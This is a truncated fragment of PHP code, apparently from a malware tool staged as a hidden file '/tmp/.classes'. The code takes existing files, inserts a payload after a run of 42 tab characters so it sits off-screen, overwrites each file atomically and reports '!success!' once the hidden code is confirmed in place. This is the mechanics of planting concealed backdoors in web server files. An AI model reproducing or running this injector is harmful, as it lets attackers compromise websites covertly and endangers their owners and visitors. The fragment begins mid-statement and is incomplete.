Edit: /tmp/.classes (43973B)
strlen($body) || substr($body, 0, $len) !== $start) { continue; } if ($start === '') { if (strncmp($body, '= 3 && substr($body, 0, 3) === '=') { continue; } } $rest = substr($body, $len); $candidate = $prefix.$start.str_repeat("\t", 42).$new_code."\n".$rest; $tmp = @tempnam(dirname($path), 't'); if ($tmp !== false && @file_put_contents($tmp, $candidate) !== false && @rename($tmp, $path)) { $check = (string) @file_get_contents($path); if (strstr($check, $new_code)) { die("!success!
{$ft}"); } } if ($tmp !== false && is_file($tmp)) { @unlink($tmp); } } die('!failed!');